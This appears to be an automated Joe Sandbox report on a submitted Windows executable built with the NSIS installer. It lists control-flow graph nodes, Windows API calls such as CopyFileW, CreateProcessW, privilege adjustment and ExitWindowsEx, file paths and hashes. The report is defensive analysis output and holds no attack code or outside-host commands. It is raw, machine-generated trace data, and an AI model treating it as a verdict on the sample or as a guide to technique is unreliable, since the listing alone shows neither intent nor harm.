CreateDialogParamW 4092->4093 4092->4101 4094 40440e 4093->4094 4093->4101 4095 4044f6 22 API calls 4094->4095 4096 404419 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4095->4096 4097 401389 2 API calls 4096->4097 4098 40445f 4097->4098 4098->4060 4099 404467 ShowWindow 4098->4099 4100 404542 SendMessageW 4099->4100 4100->4101 4101->4060 4101->4061 4103 4044d6 4102->4103 4104 4044dc SendMessageW 4102->4104 4103->4104 4104->4046 4105->4081 4106->4086 4107->4088 4108 40197b 4109 402dcb 21 API calls 4108->4109 4110 401982 lstrlenW 4109->4110 4111 40265d 4110->4111 3540 4020fd 3541 4021c1 3540->3541 3542 40210f 3540->3542 3544 401423 28 API calls 3541->3544 3543 402dcb 21 API calls 3542->3543 3545 402116 3543->3545 3551 40231b 3544->3551 3546 402dcb 21 API calls 3545->3546 3547 40211f 3546->3547 3548 402135 LoadLibraryExW 3547->3548 3549 402127 GetModuleHandleW 3547->3549 3548->3541 3550 402146 3548->3550 3549->3548 3549->3550 3560 4069da 3550->3560 3554 402190 3556 4055fc 28 API calls 3554->3556 3555 402157 3557 401423 28 API calls 3555->3557 3558 402167 3555->3558 3556->3558 3557->3558 3558->3551 3559 4021b3 FreeLibrary 3558->3559 3559->3551 3565 406599 WideCharToMultiByte 3560->3565 3562 4069f7 3563 402151 3562->3563 3564 4069fe GetProcAddress 3562->3564 3563->3554 3563->3555 3564->3563 3565->3562 4112 402b7e 4113 402bd0 4112->4113 4114 402b85 4112->4114 4115 40696b 5 API calls 4113->4115 4116 402bce 4114->4116 4118 402da9 21 API calls 4114->4118 4117 402bd7 4115->4117 4119 402dcb 21 API calls 4117->4119 4120 402b93 4118->4120 4121 402be0 4119->4121 4122 402da9 21 API calls 4120->4122 4121->4116 4123 402be4 IIDFromString 4121->4123 4125 402b9f 4122->4125 4123->4116 4124 402bf3 4123->4124 4124->4116 4130 406577 lstrcpynW 4124->4130 4129 4064be wsprintfW 4125->4129 4127 402c10 CoTaskMemFree 4127->4116 4129->4116 4130->4127 4131 401000 4132 401037 BeginPaint GetClientRect 4131->4132 4134 40100c DefWindowProcW 4131->4134 4135 4010f3 4132->4135 4136 401179 4134->4136 4137 401073 CreateBrushIndirect FillRect DeleteObject 4135->4137 4138 4010fc 4135->4138 4137->4135 4139 401102 CreateFontIndirectW 4138->4139 4140 401167 EndPaint 4138->4140 4139->4140 4141 401112 6 API calls 4139->4141 4140->4136 4141->4140 3018 401781 3024 402dcb 3018->3024 3022 40178f 3023 406096 2 API calls 3022->3023 3023->3022 3025 402dd7 3024->3025 3026 4065b4 21 API calls 3025->3026 3027 402df8 3026->3027 3028 401788 3027->3028 3029 406825 5 API calls 3027->3029 3030 406096 3028->3030 3029->3028 3031 4060a3 GetTickCount GetTempFileNameW 3030->3031 3032 4060d9 3031->3032 3033 4060dd 3031->3033 3032->3031 3032->3033 3033->3022 4142 401d82 4143 402da9 21 API calls 4142->4143 4144 401d93 SetWindowLongW 4143->4144 4145 402c4f 4144->4145 4146 401503 4147 40152e 4146->4147 4148 401508 4146->4148 4149 402da9 21 API calls 4148->4149 4149->4147 4150 402903 4151 40290b 4150->4151 4152 40290f FindNextFileW 4151->4152 4155 402921 4151->4155 4153 402968 4152->4153 4152->4155 4156 406577 lstrcpynW 4153->4156 4156->4155 4157 403c07 4158 403c12 4157->4158 4159 403c16 4158->4159 4160 403c19 GlobalAlloc 4158->4160 4160->4159 4161 401588 4162 402bc9 4161->4162 4165 4064be wsprintfW 4162->4165 4164 402bce 4165->4164 3536 401389 3538 401390 3536->3538 3537 4013fe 3538->3537 3539 4013cb MulDiv SendMessageW 3538->3539 3539->3538 4166 40198d 4167 402da9 21 API calls 4166->4167 4168 401994 4167->4168 4169 402da9 21 API calls 4168->4169 4170 4019a1 4169->4170 4171 402dcb 21 API calls 4170->4171 4172 4019b8 lstrlenW 4171->4172 4173 4019c9 4172->4173 4174 401a0a 4173->4174 4178 406577 lstrcpynW 4173->4178 4176 4019fa 4176->4174 4177 4019ff lstrlenW 4176->4177 4177->4174 4178->4176 4179 40168f 4180 402dcb 21 API calls 4179->4180 4181 401695 4180->4181 4182 4068d4 2 API calls 4181->4182 4183 40169b 4182->4183 4184 402b10 4185 402da9 21 API calls 4184->4185 4186 402b16 4185->4186 4187 4065b4 21 API calls 4186->4187 4188 402953 4186->4188 4187->4188 4189 402711 4190 402da9 21 API calls 4189->4190 4191 402720 4190->4191 4192 40276a ReadFile 4191->4192 4193 4060ea ReadFile 4191->4193 4194 4027aa MultiByteToWideChar 4191->4194 4195 40285f 4191->4195 4196 406148 5 API calls 4191->4196 4198 4027d0 SetFilePointer MultiByteToWideChar 4191->4198 4199 402870 4191->4199 4201 40285d 4191->4201 4192->4191 4192->4201 4193->4191 4194->4191 4202 4064be wsprintfW 4195->4202 4196->4191 4198->4191 4200 402891 SetFilePointer 4199->4200 4199->4201 4200->4201 4202->4201 4203 401491 4204 4055fc 28 API calls 4203->4204 4205 401498 4204->4205 3445 401794 3446 402dcb 21 API calls 3445->3446 3447 40179b 3446->3447 3448 4017c3 3447->3448 3449 4017bb 3447->3449 3485 406577 lstrcpynW 3448->3485 3484 406577 lstrcpynW 3449->3484 3452 4017c1 3455 406825 5 API calls 3452->3455 3453 4017ce 3454 405e46 3 API calls 3453->3454 3456 4017d4 lstrcatW 3454->3456 3472 4017e0 3455->3472 3456->3452 3457 4068d4 2 API calls 3457->3472 3458 406042 2 API calls 3458->3472 3460 4017f2 CompareFileTime 3460->3472 3461 4018b2 3462 4055fc 28 API calls 3461->3462 3464 4018bc 3462->3464 3463 401889 3465 4055fc 28 API calls 3463->3465 3474 40189e 3463->3474 3467 4032d9 35 API calls 3464->3467 3465->3474 3466 406577 lstrcpynW 3466->3472 3468 4018cf 3467->3468 3469 4018e3 SetFileTime 3468->3469 3471 4018f5 CloseHandle 3468->3471 3469->3471 3470 4065b4 21 API calls 3470->3472 3473 401906 3471->3473 3471->3474 3472->3457 3472->3458 3472->3460 3472->3461 3472->3463 3472->3466 3472->3470 3479 405bd7 MessageBoxIndirectW 3472->3479 3483 406067 GetFileAttributesW CreateFileW 3472->3483 3475 40190b 3473->3475 3476 40191e 3473->3476 3477 4065b4 21 API calls 3475->3477 3478 4065b4 21 API calls 3476->3478 3480 401913 lstrcatW 3477->3480 3481 401926 3478->3481 3479->3472 3480->3481 3482 405bd7 MessageBoxIndirectW 3481->3482 3482->3474 3483->3472 3484->3452 3485->3453 4206 401a97 4207 402da9 21 API calls 4206->4207 4208 401aa0 4207->4208 4209 402da9 21 API calls 4208->4209 4210 401a45 4209->4210 4211 401598 4212 4015b1 4211->4212 4213 4015a8 ShowWindow 4211->4213 4214 402c4f 4212->4214 4215 4015bf ShowWindow 4212->4215 4213->4212 4215->4214 4216 402419 4217 402dcb 21 API calls 4216->4217 4218 402428 4217->4218 4219 402dcb 21 API calls 4218->4219 4220 402431 4219->4220 4221 402dcb 21 API calls 4220->4221 4222 40243b GetPrivateProfileStringW 4221->4222 4223 40201b 4224 402dcb 21 API calls 4223->4224 4225 402022 4224->4225 4226 4068d4 2 API calls 4225->4226 4227 402028 4226->4227 4229 402039 4227->4229 4230 4064be wsprintfW 4227->4230 4230->4229 4231 401b9c 4232 402dcb 21 API calls 4231->4232 4233 401ba3 4232->4233 4234 402da9 21 API calls 4233->4234 4235 401bac wsprintfW 4234->4235 4236 402c4f 4235->4236 4237 40149e 4238 4023c2 4237->4238 4239 4014ac PostQuitMessage 4237->4239 4239->4238 4240 4049a0 4241 4049b0 4240->4241 4242 4049d6 4240->4242 4243 4044f6 22 API calls 4241->4243 4244 40455d 8 API calls 4242->4244 4245 4049bd SetDlgItemTextW 4243->4245 4246 4049e2 4244->4246 4245->4242 4247 4016a0 4248 402dcb 21 API calls 4247->4248 4249 4016a7 4248->4249 4250 402dcb 21 API calls 4249->4250 4251 4016b0 4250->4251 4252 402dcb 21 API calls 4251->4252 4253 4016b9 MoveFileW 4252->4253 4254 4016c5 4253->4254 4255 4016cc 4253->4255 4257 401423 28 API calls 4254->4257 4256 4068d4 2 API calls 4255->4256 4259 40231b 4255->4259 4258 4016db 4256->4258 4257->4259 4258->4259 4260 406337 40 API calls 4258->4260 4260->4254 4261 401a24 4262 402dcb 21 API calls 4261->4262 4263 401a2b 4262->4263 4264 402dcb 21 API calls 4263->4264 4265 401a34 4264->4265 4266 401a3b lstrcmpiW 4265->4266 4267 401a4d lstrcmpW 4265->4267 4268 401a41 4266->4268 4267->4268 4269 402324 4270 402dcb 21 API calls 4269->4270 4271 40232a 4270->4271 4272 402dcb 21 API calls 4271->4272 4273 402333 4272->4273 4274 402dcb 21 API calls 4273->4274 4275 40233c 4274->4275 4276 4068d4 2 API calls 4275->4276 4277 402345 4276->4277 4278 402356 lstrlenW lstrlenW 4277->4278 4282 402349 4277->4282 4279 4055fc 28 API calls 4278->4279 4281 402394 SHFileOperationW 4279->4281 4280 4055fc 28 API calls 4283 402351 4280->4283 4281->4282 4281->4283 4282->4280 4282->4283 4284 401da6 4285 401db9 GetDlgItem 4284->4285 4286 401dac 4284->4286 4288 401db3 4285->4288 4287 402da9 21 API calls 4286->4287 4287->4288 4289 401dfa GetClientRect LoadImageW SendMessageW 4288->4289 4291 402dcb 21 API calls 4288->4291 4292 401e58 4289->4292 4294 401e64 4289->4294 4291->4289 4293 401e5d DeleteObject 4292->4293 4292->4294 4293->4294 4295 4023a8 4296 4023af 4295->4296 4299 4023c2 4295->4299 4297 4065b4 21 API calls 4296->4297 4298 4023bc 4297->4298 4300 405bd7 MessageBoxIndirectW 4298->4300 4300->4299 4301 402c2a SendMessageW 4302 402c44 InvalidateRect 4301->4302 4303 402c4f 4301->4303 4302->4303 4304 40462c lstrcpynW lstrlenW 3577 4024af 3578 402dcb 21 API calls 3577->3578 3579 4024c1 3578->3579 3580 402dcb 21 API calls 3579->3580 3581 4024cb 3580->3581 3594 402e5b 3581->3594 3584 402503 3589 40250f 3584->3589 3598 402da9 3584->3598 3585 402953 3586 402dcb 21 API calls 3590 4024f9 lstrlenW 3586->3590 3588 40252e RegSetValueExW 3592 402544 RegCloseKey 3588->3592 3589->3588 3591 4032d9 35 API calls 3589->3591 3590->3584 3591->3588 3592->3585 3595 402e76 3594->3595 3601 406412 3595->3601 3599 4065b4 21 API calls 3598->3599 3600 402dbe 3599->3600 3600->3589 3602 406421 3601->3602 3603 4024db 3602->3603 3604 40642c RegCreateKeyExW 3602->3604 3603->3584 3603->3585 3603->3586 3604->3603 4305 402930 4306 402dcb 21 API calls 4305->4306 4307 402937 FindFirstFileW 4306->4307 4308 40295f 4307->4308 4312 40294a 4307->4312 4309 402968 4308->4309 4313 4064be wsprintfW 4308->4313 4314 406577 lstrcpynW 4309->4314 4313->4309 4314->4312 4315 401931 4316 401968 4315->4316 4317 402dcb 21 API calls 4316->4317 4318 40196d 4317->4318 4319 405c83 71 API calls 4318->4319 4320 401976 4319->4320 4321 401934 4322 402dcb 21 API calls 4321->4322 4323 40193b 4322->4323 4324 405bd7 MessageBoxIndirectW 4323->4324 4325 401944 4324->4325 4326 4046b5 4327 4046cd 4326->4327 4330 4047e7 4326->4330 4331 4044f6 22 API calls 4327->4331 4328 404851 4329 40485b GetDlgItem 4328->4329 4332 40491b 4328->4332 4333 404875 4329->4333 4334 4048dc 4329->4334 4330->4328 4330->4332 4335 404822 GetDlgItem SendMessageW 4330->4335 4336 404734 4331->4336 4337 40455d 8 API calls 4332->4337 4333->4334 4338 40489b SendMessageW LoadCursorW SetCursor 4333->4338 4334->4332 4339 4048ee 4334->4339 4359 404518 EnableWindow 4335->4359 4341 4044f6 22 API calls 4336->4341 4342 404916 4337->4342 4360 404964 4338->4360 4344 404904 4339->4344 4345 4048f4 SendMessageW 4339->4345 4347 404741 CheckDlgButton 4341->4347 4344->4342 4349 40490a SendMessageW 4344->4349 4345->4344 4346 40484c 4350 404940 SendMessageW 4346->4350 4357 404518 EnableWindow 4347->4357 4349->4342 4350->4328 4352 40475f GetDlgItem 4358 40452b SendMessageW 4352->4358 4354 404775 SendMessageW 4355 404792 GetSysColor 4354->4355 4356 40479b SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 4354->4356 4355->4356 4356->4342 4357->4352 4358->4354 4359->4346 4363 405b9d ShellExecuteExW 4360->4363 4362 4048ca LoadCursorW SetCursor 4362->4334 4363->4362 4364 4028b6 4365 4028bd 4364->4365 4366 402bce 4364->4366 4367 402da9 21 API calls 4365->4367 4368 4028c4 4367->4368 4369 4028d3 SetFilePointer 4368->4369 4369->4366 4370 4028e3 4369->4370 4372 4064be wsprintfW 4370->4372 4372->4366 4373 401f37 4374 402dcb 21 API calls 4373->4374 4375 401f3d 4374->4375 4376 402dcb 21 API calls 4375->4376 4377 401f46 4376->4377 4378 402dcb 21 API calls 4377->4378 4379 401f4f 4378->4379 4380 402dcb 21 API calls 4379->4380 4381 401f58 4380->4381 4382 401423 28 API calls 4381->4382 4383 401f5f 4382->4383 4390 405b9d ShellExecuteExW 4383->4390 4385 401fa7 4386 406a16 5 API calls 4385->4386 4387 402953 4385->4387 4388 401fc4 CloseHandle 4386->4388 4388->4387 4390->4385 4391 402fb8 4392 402fca SetTimer 4391->4392 4394 402fe3 4391->4394 4392->4394 4393 403038 4394->4393 4395 402ffd MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 4394->4395 4395->4393 4396 4014b8 4397 4014be 4396->4397 4398 401389 2 API calls 4397->4398 4399 4014c6 4398->4399 4400 40573b 4401 4058e5 4400->4401 4402 40575c GetDlgItem GetDlgItem GetDlgItem 4400->4402 4403 405916 4401->4403 4404 4058ee GetDlgItem CreateThread CloseHandle 4401->4404 4445 40452b SendMessageW 4402->4445 4406 405941 4403->4406 4408 405966 4403->4408 4409 40592d ShowWindow ShowWindow 4403->4409 4404->4403 4410 4059a1 4406->4410 4413 405955 4406->4413 4414 40597b ShowWindow 4406->4414 4407 4057cc 4411 4057d3 GetClientRect GetSystemMetrics SendMessageW SendMessageW 4407->4411 4415 40455d 8 API calls 4408->4415 4447 40452b SendMessageW 4409->4447 4410->4408 4418 4059af SendMessageW 4410->4418 4416 405841 4411->4416 4417 405825 SendMessageW SendMessageW 4411->4417 4419 4044cf SendMessageW 4413->4419 4421 40599b 4414->4421 4422 40598d 4414->4422 4420 405974 4415->4420 4424 405854 4416->4424 4425 405846 SendMessageW 4416->4425 4417->4416 4418->4420 4426 4059c8 CreatePopupMenu 4418->4426 4419->4408 4423 4044cf SendMessageW 4421->4423 4427 4055fc 28 API calls 4422->4427 4423->4410 4429 4044f6 22 API calls 4424->4429 4425->4424 4428 4065b4 21 API calls 4426->4428 4427->4421 4430 4059d8 AppendMenuW 4428->4430 4431 405864 4429->4431 4432 4059f5 GetWindowRect 4430->4432 4433 405a08 TrackPopupMenu 4430->4433 4434 4058a1 GetDlgItem SendMessageW 4431->4434 4435 40586d ShowWindow 4431->4435 4432->4433 4433->4420 4436 405a23 4433->4436 4434->4420 4439 4058c8 SendMessageW SendMessageW 4434->4439 4437 405890 4435->4437 4438 405883 ShowWindow 4435->4438 4440 405a3f SendMessageW 4436->4440 4446 40452b SendMessageW 4437->4446 4438->4437 4439->4420 4440->4440 4441 405a5c OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 4440->4441 4443 405a81 SendMessageW 4441->4443 4443->4443 4444 405aaa GlobalUnlock SetClipboardData CloseClipboard 4443->4444 4444->4420 4445->4407 4446->4434 4447->4406 4448 401d3c 4449 402da9 21 API calls 4448->4449 4450 401d42 IsWindow 4449->4450 4451 401a45 4450->4451 4452 404d3d 4453 404d69 4452->4453 4454 404d4d 4452->4454 4456 404d9c 4453->4456 4457 404d6f SHGetPathFromIDListW 4453->4457 4463 405bbb GetDlgItemTextW 4454->4463 4459 404d7f 4457->4459 4462 404d86 SendMessageW 4457->4462 4458 404d5a SendMessageW 4458->4453 4460 40140b 2 API calls 4459->4460 4460->4462 4462->4456 4463->4458

                    Executed Functions

                    Function 00403552 Relevance: 82.7, APIs: 33, Strings: 14, Instructions: 464stringfilecomCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 0 403552-4035a4 SetErrorMode GetVersionExW 1 4035a6-4035d6 GetVersionExW 0->1 2 4035de-4035e3 0->2 1->2 3 4035e5 2->3 4 4035eb-40362d 2->4 3->4 5 403640 4->5 6 40362f-403637 call 40696b 4->6 7 403645-403659 call 4068fb lstrlenA 5->7 6->5 12 403639 6->12 13 40365b-403677 call 40696b * 3 7->13 12->5 20 403688-4036ec #17 OleInitialize SHGetFileInfoW call 406577 GetCommandLineW call 406577 13->20 21 403679-40367f 13->21 28 4036f5-403709 call 405e73 CharNextW 20->28 29 4036ee-4036f0 20->29 21->20 26 403681 21->26 26->20 32 403804-40380a 28->32 29->28 33 403810 32->33 34 40370e-403714 32->34 35 403824-40383e GetTempPathW call 403521 33->35 36 403716-40371b 34->36 37 40371d-403724 34->37 44 403840-40385e GetWindowsDirectoryW lstrcatW call 403521 35->44 45 403896-4038b0 DeleteFileW call 4030a2 35->45 36->36 36->37 39 403726-40372b 37->39 40 40372c-403730 37->40 39->40 42 4037f1-403800 call 405e73 40->42 43 403736-40373c 40->43 42->32 61 403802-403803 42->61 47 403756-40378f 43->47 48 40373e-403745 43->48 44->45 64 403860-403890 GetTempPathW lstrcatW SetEnvironmentVariableW * 2 call 403521 44->64 66 4038b6-4038bc 45->66 67 403a9d-403aad ExitProcess CoUninitialize 45->67 51 403791-403796 47->51 52 4037ac-4037e6 47->52 49 403747-40374a 48->49 50 40374c 48->50 49->47 49->50 50->47 51->52 56 403798-4037a0 51->56 58 4037e8-4037ec 52->58 59 4037ee-4037f0 52->59 62 4037a2-4037a5 56->62 63 4037a7 56->63 58->59 65 403812-40381f call 406577 58->65 59->42 61->32 62->52 62->63 63->52 64->45 64->67 65->35 72 4038c2-4038cd call 405e73 66->72 73 403955-40395c call 403c49 66->73 70 403ad3-403ad9 67->70 71 403aaf-403abf call 405bd7 ExitProcess 67->71 75 403b57-403b5f 70->75 76 403adb-403af1 GetCurrentProcess OpenProcessToken 70->76 87 40391b-403925 72->87 88 4038cf-403904 72->88 83 403961-403965 73->83 84 403b61 75->84 85 403b65-403b69 ExitProcess 75->85 81 403af3-403b21 LookupPrivilegeValueW AdjustTokenPrivileges 76->81 82 403b27-403b35 call 40696b 76->82 81->82 97 403b43-403b4e ExitWindowsEx 82->97 98 403b37-403b41 82->98 83->67 84->85 92 403927-403935 call 405f4e 87->92 93 40396a-403990 call 405b42 lstrlenW call 406577 87->93 90 403906-40390a 88->90 94 403913-403917 90->94 95 40390c-403911 90->95 92->67 107 40393b-403951 call 406577 * 2 92->107 110 4039a1-4039b9 93->110 111 403992-40399c call 406577 93->111 94->90 100 403919 94->100 95->94 95->100 97->75 102 403b50-403b52 call 40140b 97->102 98->97 98->102 100->87 102->75 107->73 114 4039be-4039c2 110->114 111->110 116 4039c7-4039f1 wsprintfW call 4065b4 114->116 120 4039f3-4039f8 call 405acb 116->120 121 4039fa call 405b25 116->121 125 4039ff-403a01 120->125 121->125 126 403a03-403a0d GetFileAttributesW 125->126 127 403a3d-403a5c SetCurrentDirectoryW call 406337 CopyFileW 125->127 128 403a2e-403a39 126->128 129 403a0f-403a18 DeleteFileW 126->129 135 403a9b 127->135 136 403a5e-403a7f call 406337 call 4065b4 call 405b5a 127->136 128->114 132 403a3b 128->132 129->128 131 403a1a-403a2c call 405c83 129->131 131->116 131->128 132->67 135->67 144 403a81-403a8b 136->144 145 403ac5-403ad1 CloseHandle 136->145 144->135 146 403a8d-403a95 call 4068d4 144->146 145->135 146->116 146->135
                    APIs
                    • SetErrorMode.KERNELBASE ref: 00403575
                    • GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 004035A0
                    • GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 004035B3
                    • lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040364C
                    • #17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403689
                    • OleInitialize.OLE32(00000000), ref: 00403690
                    • SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 004036AF
                    • GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036C4
                    • CharNextW.USER32(00000000,0043F000,00000020,0043F000,00000000,?,00000008,0000000A,0000000C), ref: 004036FD
                    • GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403835
                    • GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
                    • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403852
                    • GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403866
                    • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040386E
                    • SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387F
                    • SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403887
                    • DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040389B
                    • lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0043F000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403974
                      • Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584
                    • wsprintfW.USER32 ref: 004039D1
                    • GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 00403A04
                    • DeleteFileW.KERNEL32(00437800), ref: 00403A10
                    • SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A3E
                      • Part of subcall function 00406337: MoveFileExW.KERNELBASE(?,?,00000005,00405E35,?,00000000,000000F1,?,?,?,?,?), ref: 00406341
                    • CopyFileW.KERNEL32(C:\Users\user\Desktop\Auu2j0pT0B.exe,00437800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A54
                      • Part of subcall function 00405B5A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
                      • Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90
                      • Part of subcall function 004068D4: FindFirstFileW.KERNELBASE(75923420,0042FAB8,C:\,00405F97,C:\,C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
                      • Part of subcall function 004068D4: FindClose.KERNEL32(00000000), ref: 004068EB
                    • ExitProcess.KERNEL32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A9D
                    • CoUninitialize.COMBASE(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AA2
                    • ExitProcess.KERNEL32 ref: 00403ABF
                    • CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AC6
                    • GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AE2
                    • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AE9
                    • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AFE
                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B21
                    • ExitWindowsEx.USER32(00000002,80040002), ref: 00403B46
                    • ExitProcess.KERNEL32 ref: 00403B69
                      • Part of subcall function 00405B25: CreateDirectoryW.KERNELBASE(?,00000000,00403545,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: File$Process$Exit$CloseDirectory$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
                    • String ID: 1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsx4F86.tmp$C:\Users\user\Desktop$C:\Users\user\Desktop\Auu2j0pT0B.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
                    • API String ID: 2017177436-3543365156
                    • Opcode ID: 3bbf329214e6d57898fd1087eec31c3cd4d4deec240645a0aaa836412135d51f
                    • Instruction ID: 854c728f01c0035939758d15b123b9002cb8995d15bf2fdbd915a0a46deb4321
                    • Opcode Fuzzy Hash: 3bbf329214e6d57898fd1087eec31c3cd4d4deec240645a0aaa836412135d51f
                    • Instruction Fuzzy Hash: 6DF1F470604301ABD320AF659D05B6B7EE8EB8570AF10483FF581B22D1DB7DDA458B6E
                    Function 00405C83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148filestringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 290 405c83-405ca9 call 405f4e 293 405cc2-405cc9 290->293 294 405cab-405cbd DeleteFileW 290->294 296 405ccb-405ccd 293->296 297 405cdc-405cec call 406577 293->297 295 405e3f-405e43 294->295 298 405cd3-405cd6 296->298 299 405ded-405df2 296->299 303 405cfb-405cfc call 405e92 297->303 304 405cee-405cf9 lstrcatW 297->304 298->297 298->299 299->295 302 405df4-405df7 299->302 305 405e01-405e09 call 4068d4 302->305 306 405df9-405dff 302->306 307 405d01-405d05 303->307 304->307 305->295 313 405e0b-405e1f call 405e46 call 405c3b 305->313 306->295 311 405d11-405d17 lstrcatW 307->311 312 405d07-405d0f 307->312 314 405d1c-405d38 lstrlenW FindFirstFileW 311->314 312->311 312->314 330 405e21-405e24 313->330 331 405e37-405e3a call 4055fc 313->331 315 405de2-405de6 314->315 316 405d3e-405d46 314->316 315->299 321 405de8 315->321 318 405d66-405d7a call 406577 316->318 319 405d48-405d50 316->319 332 405d91-405d9c call 405c3b 318->332 333 405d7c-405d84 318->333 322 405d52-405d5a 319->322 323 405dc5-405dd5 FindNextFileW 319->323 321->299 322->318 326 405d5c-405d64 322->326 323->316 329 405ddb-405ddc FindClose 323->329 326->318 326->323 329->315 330->306 334 405e26-405e35 call 4055fc call 406337 330->334 331->295 343 405dbd-405dc0 call 4055fc 332->343 344 405d9e-405da1 332->344 333->323 335 405d86-405d8f call 405c83 333->335 334->295 335->323 343->323 347 405da3-405db3 call 4055fc call 406337 344->347 348 405db5-405dbb 344->348 347->323 348->323
                    APIs
                    • DeleteFileW.KERNELBASE(?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405CAC
                    • lstrcatW.KERNEL32(0042EA70,\*.*,0042EA70,?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405CF4
                    • lstrcatW.KERNEL32(?,0040A014,?,0042EA70,?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405D17
                    • lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405D1D
                    • FindFirstFileW.KERNELBASE(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405D2D
                    • FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DCD
                    • FindClose.KERNEL32(00000000), ref: 00405DDC
                    Strings
